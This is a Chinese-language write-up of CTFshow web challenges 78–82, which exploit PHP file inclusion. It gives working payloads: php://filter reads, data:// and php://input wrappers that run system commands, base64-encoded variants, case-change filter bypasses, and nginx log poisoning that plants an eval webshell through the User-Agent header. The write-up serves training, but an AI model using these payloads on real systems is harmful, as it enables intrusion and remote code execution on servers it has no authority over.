CTF SHOW

web 78-117

Web78

题目

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
1
2
?file=php://filter/read=convert.base64-encode/resource=flag.php
#不推荐,不知道flag在哪里的时候不好用
1
2
3
?file=data://text/plain,<?php system('ls');?>
?file=data://text/plain,<?php system('ls');?>
#推荐,可以使用ls命令查看flag位置
1
2
3
?file=../../../../var/log/nginx/access.log
<?php eval($_POST[a]); ?>
#日志包含

不解释

Web79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

方法

  1. data协议 利用php性质绕过

过滤掉了php但并不影响使用上一关的方法

1
2
3
?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php

?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。
  1. input协议 大小写绕过

1
2
3
4
5
6
7
POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>
image-20250313154431054
  1. data协议 base64加密

1
2
3
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==   # <?php system('ls');

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');

Web80

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤掉了php和data

  1. input协议 大小写绕过。同上

  2. 日志包含

以下过程使用hackerbar即可搞定

修改User-Agent

1
2
3
4
5
6
7
8
9
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close

可以直接命令执行也可以使用webshell后门工具链接

1
2
3
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();

Web81

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

比起上到题新过滤了 :

使用日志注入即可

如果绕过没这么复杂的话,直接在user-agent里注入一句话木马即可。

image-20250313164359707

记得要发送两次

1
<?php system('tac fl0g.php');?>

然后查看源码即可

Web82

比起上道题多过滤了 .

SESSION条件竞争

待施工